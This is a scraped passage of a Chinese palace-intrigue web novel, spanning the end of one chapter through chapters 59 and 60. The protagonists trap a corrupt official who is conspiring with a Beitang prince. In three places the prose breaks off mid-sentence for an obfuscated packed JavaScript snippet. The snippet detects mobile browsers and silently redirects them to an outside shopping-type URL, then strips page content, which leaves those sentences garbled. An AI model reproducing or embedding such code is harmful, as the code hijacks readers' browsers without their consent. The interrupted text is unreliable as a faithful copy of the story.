昨日晚上他听闻禁军捉拿贼人闹出很大动静,还有民舍被烧了,贼人实在胆大妄为,他可是一夜都不曾合上眼,更别说此番随行的还有一些小官,见到这架势,心里不由七上八下,希望千万别牵连到自己。 秦立山笑道:“诸位大人不必紧张,皇上有令这几日大人无需上山面圣,奏折全部交给下官就成。” 他是皇上身边近臣,又是禁军统领,更是大魏的将军,他说的话自然没人敢反驳质疑。 大理寺少卿连连说是,只要不是被牵连就万事大吉,剩下几名小官纷纷将奏折拿出欲要递交上去,但秦立山又说且慢,让他们的心瞬间提了上来,“诸位大人,皇上想知道是哪几位大人来了,需自述官职,由人记录在册一并呈递上去。” 少卿拱手说是,他目光偷偷落在秦立山身后的马车上,周围守卫森严,不知是哪位贵人坐在里头,就连身边的候着的侍女都头戴幕离,当得严严实实。 “大人在看什么?” 视线忽被伟岸身躯挡住,少卿猛地回神恭敬作揖,接受秦立山审视的目光,倍感汗流浃背,悔恨自己探案止不住的好奇心,若是看了不该看的,惹祸上身,赶忙为自己辩驳,“大统领见谅,我这也是查案查出来的毛病,一时好奇马车里坐着的是哪位贵人,这才多看了几眼。“ 秦立山回头望去,见春夏缓缓摇了摇头,他才不继续跟大理寺少卿纠缠下去,“大人能力出众,但是哪位贵人恕不能告知,还是少打听为妙,以免皇上不高兴。” 要官员自述官职,他也是方便春夏听声辨别是何人,问了一圈下来,春夏都摇头不是,最后只剩吏部尚书宋庆还没说话,秦立山的注意力自然也全部集中在他身上,但宋庆此人向来公事公办,从不与任何人拉帮结派,在位多年从未出现纰漏,更何况他的养女还在宫中皇上身边办事,他自然不相信宋庆是鞋子的主人。 “宋大人往日一向健谈,怎今日如此寡言?” 宋庆清了清嗓子,赔笑道:“说出来怕将军嘲笑,实不相瞒,我有些认床,晚上有些没睡好。” 有随行的武将开怀大笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104767|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拍了拍宋庆的肩膀,“大人多大的人了还认床,这几日认床的毛病难不成还未扭转过来?大人怕不是刚熟悉这里的床榻,明日回京,岂不是又要认床好几日?” 众人一听纷纷乐了,“没想宋大人这样的人还有这样的难言之隐,难怪一早见你精神不振,就算认床大人也该照顾好自己才是。” “大人身上出奇的香,难不成涂些香粉能有助睡眠?” 宋庆顿时冷汗直流,昨夜他躲进泔水桶才逃过一劫,出来后身上恶臭熏天,他躲在桥下泡在河里洗了好久才勉强让身上的臭味散了些,后来不敢惊动其他人,去买了些女子用的香粉企图掩盖掉身上的味道,一不小心涂抹过多,他又洗了大半宿,肯定也没睡好。 早上出门时总觉得还有一股味萦绕,还好他们只闻见香味,臭味儿确实被掩盖下去,他顺着话道:“这是我从别处求来的偏方,说是对我认床有效,我实在想睡个好觉,接连几日都抹了些,谁知还是被骗了。”说完宋庆重重叹了口气。 而马车里的李之夭和纪无涯面面相觑,宋庆的话清晰传到他们的耳朵里,纪无涯开口问,“你想怎么做?” 李之夭提笔在马车内摆设的矮桌上铺开纸写下几行字,“既然要宋庆自己钻进来,那就不能让他察觉出来被怀疑。” 写完她交给纪无涯,纪无涯看纸上写着的是——尚有谜团,切勿打草惊蛇。 他看完叠好掀起马车窗递出去给春夏,春夏自然知道该怎么做,上前将纸条递给秦立山,秦立山看完后用火折子引燃当着众人的面烧毁。 春夏在跟前刻意夹着嗓子道:“将军,主子她累了,需要进客栈休息。” 李之夭被安排跟官员同住一屋,朝中的官员没人见过纪无涯的面貌,他自然无需遮挡面容,李之夭披上披风,带上宽大的兜帽挡住,面上再覆了一条白色面纱,挡住面容,在众人的注视下由纪无涯从马车上抱下来走进去。 大理寺少卿盯着半晌,对方实在神秘,一点端倪都瞧不出来。 宋庆也好奇观察都被秦立山一一挡了回去,他道:“这是远方来的贵人,下午要随我上山拜见皇上,她身子病弱,可千万别打扰了人家。” 宋庆赶忙问:“是何方贵人?” 秦立山瞪了他一眼警告,“宋大人,好奇心可是会害死猫的。” 为了引起宋庆的好奇,秦立山特意派了两名禁军在门口守着,这么一来,就算臣子再好奇,他们也不敢再多问。 等差不多都回到客栈后,纪无涯看到宋庆在客栈院子徘徊,似乎在纠结什么事,李之夭站在他身边,将脱下的披风递给春夏。 “他在思考要不要把这件事告诉给裴淮。” “主子,为何他会如此纠结?”春夏不解。 “因为现在还拿不定主意,并且不确认进来的到底是谁。” “不想走,推他一把。”纪无涯刚想出去就被李之夭一把抓住衣袖留住,“怎么?” “北唐的三皇子裴执你可知?” 裴执可真是个熟悉的名字,他记得前世裴执利用裴淮让他扫清身边障碍,最后两人反目成仇,裴执此人伪装极好,是个道貌岸然的伪君子。 纪无涯没说话,而是等她继续往下说,“我们这次借裴执的名,引宋庆上钩,宋庆若是知晓今日进来的人跟北唐有关,还是皇室,必定会告诉裴淮,裴淮知道裴执如今在京城,他必定会拜托宋庆明日回京后帮他找裴执,如此一来宋庆通敌叛国便是实锤。” “你为何这般笃定?” “因为裴执在北唐的发妻,身边确实跟着一名侍卫和侍女,且她体弱,就连日常的行走都需侍卫抱行,裴淮知晓,他会上钩的。” 纪无涯心中产生一股怪异的感觉,从他遇到李之夭开始,身边的人和事似乎都变得不一样了,包括李之夭自己。 就连裴淮跟苏月清经历的一切都比从前波折甚多,就连裴执发妻的事也是他去了北唐进过三皇子府邸才知道,李之夭却知道得一清二楚。 “李之夭。”他声音清冽,语气却有些发沉,喊她的名字甚是郑重,他不确定,但仅仅是抓住了心头那丝怪异的感觉和令他熟悉的第六感,不得不问出一个迫切想知道答案的问题。 “你是知道的吧,后面将会发生的事?” 59. 试探 第59章 李之夭好笑地看着他,笑意不达眼底,此刻像在审视,“也?” 春夏守在门口,此时屋内只剩他们两人,从彼此的眼神中或多或少都猜到了什么,但话到嘴边却又咽了回去,李之夭只能抓住那个‘也’字,企图从纪无涯口中套出更多的东西。 “为何用‘也’一字,难不成你知道什么?”李之夭反问。 纪无涯想说是,张口否认道:“只是好奇。” “你这说辞容易令人起疑。” 面对李之夭的紧追不舍,纪无涯一而再再而三的选择退避,只觉自己方才的话过于冒失,倘若他们并非一类人,或许会被当成异类。 就像他天生体内含毒,在村中百姓的眼里,他是灾星,在护国寺孩子们的眼中,他是祸害。 不管走到哪里,但凡遇上的大夫游医,知晓他体内带毒时,眼中满是诧异和惊奇。 “没什么,口误。”他看着李之夭,她眼底方才一闪而过的警觉被纪无涯捕捉到,哪怕她再不承认,在这一刻,答案已经在心里。 纪无涯明显是在回避,李之夭并不认为他只是普通的口误,在对方的眼里看到了熟悉的目光,她及笄那日觉醒后在铜镜里看到和自己一样的目光。 那是一种脱离把控后对接下来会发生的事胸有成竹的确定和恐慌,方才说话时似乎找到跟自同类人的灼灼目光。 期翼,谨慎,还有探究。 砰砰砰。 门被突然敲响,他们猛地回神,春夏推门进来道:“主子,宋庆似乎想走了。” 纪无涯快步朝外走去,按照计划,他现在应该假装下去跟宋庆偶遇,然后假装不经意的把消息透露给宋庆,让他去告诉裴淮。 下了回形楼梯,纪无涯从视野死角处走出,正好跟心不在焉的宋庆撞到一块,他眼疾手快扶住宋庆,低头道歉,宋庆一眼认出他是方才带人进去的侍卫。 心里暗自窃喜,那间房门紧闭,门口还有禁军把手,他不敢走太近,愁如何才能打听身份,正是苦恼什么就有人送温暖来,他抓住纪无涯的胳膊,不撒手当街就喊疼,宋庆这么一嗓子,吸引来不少顾客。 纪无涯神色慌乱,假装想跟他拉开距离,宋庆不肯,冲客栈掌柜和小二诉苦,“哎哟哟我的腰啊,你这人横冲直撞是哪家的人,把我腰撞坏了,你可担待得起?” 掌柜知晓这几日在客栈住的人大有来头,他身上还穿着官服,心里慌乱如麻,生怕出了乱子,他的客栈可能开不下去了。 宋庆欲要拽着他就往外走,“走,今日必须跟我去报官,我的腰啊。” 纪无涯不悦道:“是你自己撞我身上的,你们大魏的官都是这么当街讹人么?” 宋庆心里猜测难不成他不是大魏人?他道,“什么叫我们大魏的官?难不成你还不是大魏人么?”他冷笑一声,“你是何人速速报上名来!否则拿你当细作处理!” “我和夫人千里迢迢从北唐过来,前不久北唐的使臣刚来访大魏,这么快大魏就想破坏两朝和平?” 突然被扣上那么一顶帽子,宋庆胆颤,没想到他们竟然是北唐人,纪无涯乘胜追击,“我家主子上次来访后一直从未归家,今日是你自己撞上来,莫不是看我是异乡人才施展大人官威,以为我是好欺负拿捏的性子?” 他说这话表情生硬,语气却凉飕飕的,李之夭在楼上看了直摇头,要不是他高傲的态度像只孔雀,符合北唐人在心中的形象,说什么都不会相信。 宋庆还记得当初北唐来访说想派使团来访时的态度,跟面前此人如出一辙,高高在上的感觉,狗眼看人低的家伙,心里气不打一处来,他直言道:“你意思难不成是我们扣了你家主子,你今日说说,你家主子是谁,让我听听当时来访的使团里有没有这号人。” “他乃我皇给予厚望的三皇子,若非失踪,夫人又怎会追到此处?” 宋庆眼珠转了转,三皇子?当时来访的成员里并无此人,难不成是被皇上暗中扣下了?否则怎么人家发妻都追到这里来了,还被禁军看护起来。 话到此处他心里其实已经信了个七七八八,只不过他不清楚北唐内部的事,倘若真是北唐三皇子被扣下了,那么裴淮有必要知道。 宋庆撂下一句今日之事不跟你计较便匆匆上楼了。 寻方在暗处盯着,见到宋庆换了一身不显眼的衣裳从客栈后面溜了出去,跟着宋庆一路来到城西的一家茶楼里,托小二跑腿捎口信,没过多久裴淮就来了。 他将今日所见所闻一一讲给裴淮听,裴淮险些惊诧起身,“你说什么?!三皇子也来了大魏?” 宋庆替他分析,“这事我也不确定,因为我在朝这么久,从未听过三皇子的消息,可那位夫人看样子病得很厉害,就连走路都需要侍卫代劳。” 裴淮放在桌上的拳头握紧,若是他的三哥来了大魏,必定是来寻他,加上前不久北唐传来消息说三皇子失踪了,线索再次出现,他必须亲自查一下这件事是否是真的。 他的三哥裴执,是他在北唐皇宫里为数不多肯跟他说话玩的人,个个嫉妒他聪慧能干,才华横溢,只有三哥待他如亲人。 裴执遭难,他必须确认真假。 “宋大人,明日你回京我跟你一块离开。” 宋庆点头应下,他明日回去还要将留在中萃轩的证据处理掉,昨天夜里他掉了一只鞋,怕被皇上的人查到,必须得先下手为强。 他忽然想起今日看到的那名侍卫的脸,总觉得在哪里见过,一时半会儿想不起来,心事重重的离开。 青鸢送走宋庆,见裴淮坐在窗前出神,今日天气阴沉乌云密布,看起来晚上会下雨,她轻声叫了声主子,“是在想三皇子么?” 裴淮说是,“许久不见三哥,也不知他如今怎样了。”末了,他声音有些迷茫,“你觉得宋庆说的话可信么?” “宋庆是苏姑娘的养父,也是大魏的吏部尚书,是主子的盟友,属下不敢妄自揣测。”青鸢静静注视着他的侧脸,窗外风卷翠竹,沙沙声响缭乱,像极了心头缠绕的心绪,“若是主子不放心,可寻苏姑娘帮其确认一下。“ 裴淮道一句不可,“上次清清就被秦立山看到和我待在一起,若不是我假装挟持她,恐怕早就惹祸上身,这次不到万不得已,不能连累到她。” 青鸢怔怔出声:“既然怕连累苏姑娘,万一宋庆跟我们的事被发现,不也一样会连累她,主子就没想过,若宋庆不中用被发现,后面苏姑娘怎么办。” “宋庆被发现,不管如何,我都会带清清回北唐,宋庆身边有我们的人盯着,不会出纰漏,他既然是清清的养父,此事还是清清一手促成,他应下的时候就想过东窗事发的结果。”裴淮不悦皱眉,盯着站在身边神色彷徨的青鸢,“你今日话有些多了。” 青鸢赶忙跪下请罪,裴淮挥手让她退下去找杨刻,临走前青鸢顿住脚步,语气有些怅然,”主子属下再多问一句,倘若换做是属下的家人,主子也会是这般想法么?” 裴淮神色冷峻,语气渐渐不耐烦,“你们身份跟她不一样,不能相提并论,清清的生父生母在北唐为官,且母亲一母同胞的妹妹在朝为妃,你是我精心挑选在身边培养的暗卫,若有家人,万不能为我所用。”他忽然明白青鸢的念头,严肃警告道,“你跟我在身边多年,当初是你跪在我跟前说一生会为我效忠,别生出不该有的心思。” “属下没有,属下只是好奇。”青鸢低头再次跪下,“属下……” “行了。”裴淮打断,“你先走吧。” 他闭上眼睛,总是回想幼时的场景,他出生时生母便去世,从小养在静妃身边,静妃在宫里不受宠,但与人为善名声素来较好,后他年岁渐长,一次与人争执中才知他不是静妃亲生的。 生母在宫里是一个禁词,都说是安庆帝外出微服私访时带回来的民间女子,身份低微,他尝试问过他的父皇生母是何人家,若真是平民,他的父皇大可说不记得了,但提及安庆帝总是忍不住暴怒呵斥,有次更是动手打了他一巴掌。 裴淮相信他生母的身份不会那么简单,可这些年查起来毫无头绪,派出去的人没有一个带回来好消息。 在宫里的那些年,除了静妃,就只有三皇子和苏月清对他甚好,他从来都不会忘记。 后来北唐内乱,一向跟苏家交好的官员全家斩首,苏父怕苏家牵连,主动辞官举家搬到大魏,后来他们全家在来到大魏后遇到强盗,失去了音讯,苏月清下落不明。 裴淮再找到她时,她已经失去了幼时的记忆,性子清冷,淡雅如菊。 他想得入神,杨刻何时来的都未曾察觉,发现时杨刻已经静静候了一刻钟了。 “杨刻,你去客栈打探下,住进去的那女人是不是三皇妃。”裴淮揉了揉眉心,“明日我们一早启程去京城。” 不管是真是假,他都要确认裴执是否真的在京城。 窗外传来一记闷雷声,风骤然大了起来,吹得衣袍翻飞,小贩抬头望了望阴沉的天,赶忙将挡雨布撑起,露在外面摆件收起来。 预料在晚上落下的雨猝不及防的洒下,噼里啪啦的声音像断线的珠子洒落,路上行人忙用衣袖挡在头上匆匆朝屋檐下避雨。 雨水打在窗棂上,朝屋子里溅了些,春夏合上窗户扣好,外头的雨声小了些。 “主子,外头的雨一时半会儿停不了了。” 李之夭放下手里的书,寻方跟着宋庆一路去到茶楼,过了没多久裴淮也来了,他们的计划听得明明白白,杨刻要来也是意料之中,就是没想到裴淮竟然这么在乎裴执。 杨刻要来只会是晚上的事,纪无涯怕李之夭漏了细节,入夜前特意过来寻她,“三皇妃……”从前觉得直言不好,但今日他跟李之夭多了些不可言说的秘密,话语间也没避讳什么,改口将根据缘楼的情报几个字收回,“三皇妃身子病弱,从前裴淮他们的人并未跟她直接接触过,但若问及一些有关于裴执的事,你可想好如何应对。” “现在我并非十拿九稳。”李之夭诚实,因为她也不知杨刻究竟想干什么如何确认三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128591|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇妃的身份。 纪无涯料到她会这么说,“今晚我留下。” 李之夭没有拒绝,默默端起茶杯饮了口水,问纪无涯要不要喝,他摇了摇头拒绝。 他寻了个位置坐下时,春夏打开香炉燃了熏香,熏香白烟袅袅,春夏道,“这是三皇妃平日最喜欢的熏香,出门都会带着,有安神凝气的作用。” 纪无涯并无怀疑,因为三皇妃当初确实如此,他闭目养神,闭着闭着,头垂了下去,顷刻间酣然入睡。 春夏上前推了推纪无涯,确认他真的睡过去,有些不解,“主子,为何?” 此时秦立山站在推门进来,他身后跟着寻方和雪,秦立山道,“走吧,守义镇衙门晚上会押解一批犯人出城,你们混在犯人堆里,守城的人盘查不会起疑心的。” 寻方上前架起纪无涯,冲李之夭颔首道谢,“多谢。” 清武帝想将纪无涯押解回缘楼,但他们都知道回了缘楼想出来比登天还难,蓝素衣和缘楼的长老不会给纪无涯好日子过,况且他体内旧毒未解,熬不过去的。 所以在昨晚寻方和雪特意来找李之夭,求她想办法让他们将纪无涯带走远走高飞。 只不过他们计划的时候,被秦立山听到,今日他的决定多多少少都是违背圣意的决定。 规矩是死的,人是活的,纪无涯护了李之夭那么多次,他也不会眼睁睁看着纪无涯送死,人走在江湖中,活路总比在方圆之地大些。 “你们要带他去寻下月集么?” 寻方点头,“下月集对师兄很重要,这些年师兄都在找下月集,江湖朝堂他全找遍了,药珠不成,那是他唯一的活路,我们必须尽快动身,公主大恩大德,寻方没齿难忘,安顿好师兄,我会去缘楼帮你取得留羽解药以报此恩!” 李之夭说不用,“你们既已离开缘楼,就不要再回去了,缘楼横竖躲不过朝堂,我身为皇亲国戚,跟蓝素衣讨要一枚解药,她也该卖我面子。” 雪上前抱住李之夭一个劲儿道谢,还说她吃到宫里的香酥鸡,是全天下最好吃的,李之夭笑着揉了揉她的脑袋。 他们带着纪无涯离开后,秦立山忧心忡忡道,“后面该怎么办?” “大统领,你违背舅舅的意思,不跑舅舅责罚么?” “行得正坐得直,大不了到时候我打死不认,皇上也不敢把我怎么样。”秦立山冲她宽慰笑道,“我不是是非不分愚忠之人。” “有大统领坐镇,我铤而走险没问题,抓到背叛大魏的那个人才最重要。”李之夭冲他福身,静待夜幕降临。 窗外的雨滴答,入夜后,李之夭躺回床上,春夏帮她放下床帘,换上新的熏香。 外头忽然传来一阵声响,守在门口的禁军被吸引走。 房门缓缓被推开,李之夭夹着嗓音有气无力道:“是外头有什么事么?”语罢伴随着咳嗽声传来。 杨刻审视着床帘后面隐约露出道背影的人,回禀道:“皇妃,外头似乎有些不对。” “你们皇帝将我请到这里,说好护我周全情况不对还请你去通报统领加派些人手,我日日忧思三郎,不想最后口气咽下前没见到他的人。” 杨刻不敢上前,继续试探道:“三皇妃跟三皇子可真是伉俪情深,听说当年你们雨中芭蕉叶下定情,传到大魏来了。” 李之夭再度咳嗽几声,声音有些惆怅却咯咯笑起来,“传言果真传出去,传得那么远,事情都变了,雨中芭蕉定情所言甚虚,在宫宴上是我对他一见钟情,并送了他一枚羊脂鲤鱼佩。” 杨刻眸子紧缩,他迅速查看四周,猛地合上门,单膝抱拳跪下,“三皇妃!我是璃王身边的人!” 李之夭不为所动,咳嗽几声后让他别讲笑话,“璃王当年被贼人暗算,至今下落不明,三郎找了这么多年都没寻到,岂会今日就让我碰见,莫不是大魏皇帝派你来试探我?” 这下杨刻更加确定床上那位就是三皇妃,心中喜悦,“万万不敢!属下所言不假!” 李之夭情绪忽然激动起来,杨刻隐约听见传来啜泣声,病弱的夫人口中念叨着皇天不负有心人,不负有心人,总算是找到六弟了的话,听得杨刻眼眶也微微泛红。 他想跟眼前的夫人讲讲这些年主子有多不容易,九死一生,现在终于见到北唐那边的可以信任的人,在远方还是有人牵挂着他家主子的。 可是话到嘴边,他被感染得说不出半个字。 “三皇妃,三皇子如今身在何处你可知晓?” 杨刻吸了吸鼻子拭去眼泪。 “我来之前听闻他在京城,但走到一半就被禁军拦下了,我怕他在京城有危险,你们快去寻他。” “三皇妃,属下这就带你离开。”杨刻起身被李之夭阻止。 “万万不可,我若此时离开,魏皇下令去京城搜捕三郎,适得其反,为今之计,你们先去寻到三郎不迟,大魏皇帝顾忌两朝颜面,不会对我怎么样,他寻不到三郎,就会把我放了。” 杨刻点头,“属下这就去跟主子回禀!” 60. 收网 第60章 京城,银来庄。 踏雪飞鸿昨日赶回来同耿进才道明情况,便分道去中萃轩和掌柜家附近守着了。 虽李之夭并未具体如何护住中萃轩,只让他派人留意,并且务必保住中萃轩。但偌大中萃轩在哪里,保不准有地方出现纰漏,既然主子没说用什么手段,只要保住人和中萃轩就是完成任务。 故他和金三娘连夜合计筹谋,终于想到了最稳妥的办法。 普天之下莫非王土,所以耿进才让骆寒山再次施展多年不曾用的本领,溜进县衙内将中萃轩这些年漏税的证据,以及他家里人儿子出手伤人,妻子给人劣质布料导致用布之人身上出现红疹的罪证一并偷偷藏在了府衙县令枕头底下。 京城地处京县城内,县城里配有县衙,只要不是涉及皇亲国戚或者朝中大官的事,平日里百姓纷争等等都会交到他手上。 县令半梦半醒被人叫醒,看到枕头底下莫名多出的罪证,证据一应俱全,他最怕在天子脚下出现什么问题,瞌睡都不见了,加上信下留有字条说去晚了恐怕罪证被毁,一连三个速催促,他打起十二分的精神,连夜带人将中萃轩暂时封起来,任何人不得靠近,以掩耳不及迅雷之势把中萃轩相关人员全部关进了大牢。 中萃轩掌柜进去的大牢的时候人都还有些发懵,衣衫不整。 牢门合上的那一瞬间,他想不明白,自己怎么就进来了? 进了牢狱,就算那些杀手胆子再大,也不敢堂而皇之闯进牢里杀人,此举必定会引起天子震怒,一旦彻查此事,这把火必将烧到身上。 耿进才很满意县令办事效率,不愧是在天子脚下当差的县令。 同时他将看守掌柜家人的飞鸿撤了回来,派他去盯着裴执。 裴执被放出来,迟迟不肯离开京城,北唐的人留在京城里始终不是什么好事。 临近晌午的时候,宋庆快马加鞭赶回来了,他刚回到家,准备派人集结人手,今晚就去中萃轩斩草除根,谁知管家告诉他,中萃轩的人被举发漏税,他手底下的人多多少少都有些不赶紧,全家都被关进大牢里了。 宋庆记得双腿一软,险些栽倒在地上,裴淮扶住他才堪堪稳住身形,他语气里满是惊恐,“什么……什么时候的事?” “就在昨晚,事发突然奴才也未曾想到,那些证据怎么就这么交上去了。” 宋庆只觉身体更加发软,进了大牢,他的人更不可能闯进去杀人,那必定闹得人尽皆知,只能将希望寄托在裴淮身上,“这、这我该怎么办?” 裴淮也没想到事情发展得这么突然,他还以为只是耽搁一日不会出什么大问题,他是苏月清的养父,现在对自己还有利用价值,不能眼睁睁看着他遭受灭顶之灾,尽量宽慰道,“没事,他们没证据证明你有问题,咱们都是线下联络,从未有过书信往来,在大魏没人知道我的身份。” 宋庆听完连连说是,没人知晓他的身份,裴淮继续道,“就算被抓到,届时大人只要咬死你我是去杀李之夭的关系,大魏皇帝念你是朝中重臣,你的女儿在他身边当差,不会对你怎么样,眼下当务之急是找到我三哥,尽快离开这个是非之地,才能避免给你带来麻烦。” “我派人打听过,三皇子曾经在茶楼被银来庄的人指控他给的货品有问题被关进了大牢,现在放出来他名字叫卫客。”吏部尚书在官场里最广的便是人脉,自从上次李之夭断了他的一条臂膀后,宋庆更加确信此人不能留,按照裴淮的说法在皇上那边也说得过去。 朝中看不惯李之夭的人大有人在,总不能因为一个前朝公主,新皇就跟他们撕破脸皮。 裴淮道:“大人人脉甚广,我会和大人一起找人。”他派了身边一名下属,“他是我在北唐时身边就跟着的部下之一,身手不错,可保大人安全。” 宋庆拱手道谢,说是保护,他心里也明白是监视,裴淮怕他顶不住压力反水,留个人在身边,好随时掌握他的动向。 管家安排好他们的住处让府里下人带他们下去,宋庆在原地踌躇。 晌午的时候,天上阴沉沉的乌云散开了,露出大片大片天光。 李之夭和春夏跟着秦立山也抵达了京城。 想抓到宋庆的把柄,单单中萃轩不够,因为不能证明宋庆已经跟北唐人勾结在一起,他甚至能说是看她制裁了部下的人心中气不过才起意派杀手刺杀。 他还是能逍遥法外,帮裴淮做事,等他兵强马壮掉头过来攻打大魏。 裴淮借着宋庆用身份之便安插进去的官员,当时她受苏月清蛊惑利用,帮着添乱,加快大魏灭亡。 最好的办法将宋庆和裴执一起抓个人赃并获,让他无从狡辩。 抵达京城后,耿进才和金三娘第一时间就知道了。 他们今日必定回去找裴执,而裴执的行踪银来庄地下暗桩一直牢牢盯着,当秦立山知道中萃轩的人被县令关进大牢后,直接亲自带着禁军去牢里提人。 掌柜起初看到禁军进来开门,还以为是洗刷他身上冤屈的,找到为自己做主的大人物,一个劲儿扯着秦立山的衣摆喊冤。 “冤不冤都是小问题,但现在你只能跟我们走一趟了。” 掌柜怔怔瘫坐在地上,禁军带着他们一家子从县衙的牢房转移到天牢的时候,他想死的心都有了,他们家仗着跟朝中官员有往来,平日里是横行霸道了些,但这些罪名不至于将他们一家子全丢天牢里。 妇人哭得捶胸顿足,一个劲儿叫着后悔,“完了!天塌了啊!” 她狠狠扭住掌柜的耳朵,哭得上气不接下气,“都怪你!都怪你!害了我们一大家子,这让咱们家耀祖以后怎么办啊!” 掌柜被她哭得心烦,一巴掌将她手打掉,哭丧着脸,“我哪知道!死到临头了哭有什么用!” 他快步上前跟秦立山讲话,“大人啊!我们家犯了什么错至于要投到天牢吗!大人啊,小人一家虽然平日里不怎么与人为善,有几分仗势欺人,时不时霸道了些,不至于到天牢啊!漏税一时小人今日就让人补齐了,大人!” 在他们眼里,天牢可比一般牢狱厉害,进去的人都是十恶不赦,恶贯满盈的狂徒,本以为顶多在牢里关个十天半个月就能出去,谁知现在直接被提进了天牢里。 进去的人听说都是竖着进去横着出来,他们可不想死在那样的地方。 这下他心里肠子都悔青了,早知道他就跟着别家一起乐善好施,好好做人了。 可世上哪有回头箭,他们一家子战战兢兢进了天牢审讯室,看着那一屋子的阴森森的刑具,混着勾人的血腥味,时不时传来凄楚的惨叫声,顿时汗毛倒立,冷汗直流,心都快蹦出嗓子眼了。 他们家耀祖两眼一翻,直挺挺倒在了地上,妇人搂着她的儿子一个劲儿叫唤,狱卒从水桶里舀起一瓢凉水泼在耀祖脸上才醒来,直接哭出了声,哀求妇人。 “娘!娘,我想回家,娘!” 妇人心疼地替他抹眼泪,要是可以,她也想回家啊。 秦立山负手转身看向掌柜,“你也看到了,进了天牢的大门,不是那么容易出去的。” 夫妻两跪在地上哆哆嗦嗦,掌柜直言道,“大人,小人所有的罪行一五一十我自己在路上已经交代了,不敢有半点隐瞒,大人明鉴!” “此次不是什么大事,听说你们中萃轩经手过每一位朝中大臣的衣物鞋子都有记录在册,我要你将那些册子拿来,找出这只鞋子的主人。”秦立山挥手让手底下的人把那只鞋子递上来,摆在掌柜面前,言语又威胁一番,“若是找不出来,或者想不起来,你们一家子的罪行除了在牢里关个三五六载,还得一人挨三十大板,你们年纪也大了,儿子也不到弱冠之年,三十大板怕挨不住就一命呜呼,要是我知道你们胡乱攀咬大臣,糊弄我,罪加一等。” 掌柜眼泪差点都快出来了,赶忙磕头,说自己绝对不会弄错,“册子全在后院仓库的柜子里,但凡我经手过的鞋绝对不会出错,大人喜欢的图案纹路都不一样,各自使用的又都很统一,怕出错我都命人一一记录下来,这鞋子的绣工和纹路,只要小人从册子里查到必然不会出错!” 秦立山这边是不会出什么差池了,银来庄那边李之夭也安排好,剩下就等宋庆和裴执自己撞上来。 李之夭静静跟在他后头不出声,他转身询问她的意见,“公主认为是搬过来还是带他们去中萃轩?” 她假装想了想才开口,“中萃轩不如天牢守卫森严。” 秦立山也明白她的意思,立刻派人过去中萃轩取东西,担忧路上有人铤而走险,派了一批人专门护送。 五箱册子用马车全部拉走,一一摆在掌柜面前,秦立山盯着他,“找吧。” 掌柜用袖子擦了擦额上的冷汗,一家三口只得赶紧一起找了起来,这可是跟他们小命有关的东西。 李之夭借口出去透透气,留春夏在这里候着,刚走出天牢就察觉有人在暗处鬼鬼祟祟的。 不用想都知道是宋庆,他必定看到中萃轩的人被禁军带走,还运了几个大箱子离开。 这些事对他而言实在坐立不安,看到李之夭单独走出来后,他愤愤道:“我猜得不错,李之夭就是祸害!” 他睨了一眼跟在身后的人,见他正在四处打量,压根没怎么听他说话,心中有些不快,再怎么说他也是他家主子派来伺候的,态度实在令人恼火。 “我跟你说话呢。” 那人哦了一声,便没了下文,见在他这里找不到什么共同话题,宋庆只能转身离开去城里的乞丐窝里找找线索。 这么一找,还真让他瞎猫碰上死耗子,他拿着画像去问的时候,当真有乞丐见过裴执。 宋庆顿时来了精神,“此言不虚?” 乞丐将碗递到他眼前,满脸不耐烦,“我骗你干什么,你们这样的大官找个人都问到我们头上来了,想必也是走投无路了。” 宋庆满脸惊诧,“你怎知我身份?” “我们在城里走街串巷多年,特别是你们这些上朝的官员屡次见到,面孔自然熟悉。”他收回话题,晃了晃碗,“你还想不想知道了。” 知道他的意思,宋庆赶紧掏出银子放在他碗里,“现在可以说了吧。” 乞丐瞅了瞅碗里的铜钱,指了指墙角坐着的另一名乞丐,“你们去找他,他跟我一起的,知道的比我更详细。” 宋庆顿时火冒三丈,“你小子耍我?” 乞丐白了他一眼,“我只说见过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137100|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又没说我知晓他的下落,是你自己不问清楚的。”说完起身走了,似乎怕他把给出去的钱要回来。 宋庆无奈,只能去找说的那个乞丐,兜兜转转给了一大圈乞丐钱财后,终于知道他想知道的下落。 裴执方才进了银来庄的大门,据说是去争执货物问题的。 他赶忙让裴淮的下属回去通知裴淮,他自己先去银来庄看看什么情况。 李之夭和踏雪看着宋庆一步步走进她设计好的圈套,心中不由嗤笑,果然人在大难临头时智商什么的都不见了。 裴淮信不信无所谓,只要让秦立山将他们抓个正着就行。 “你去把那人抓了给大统领送去。” 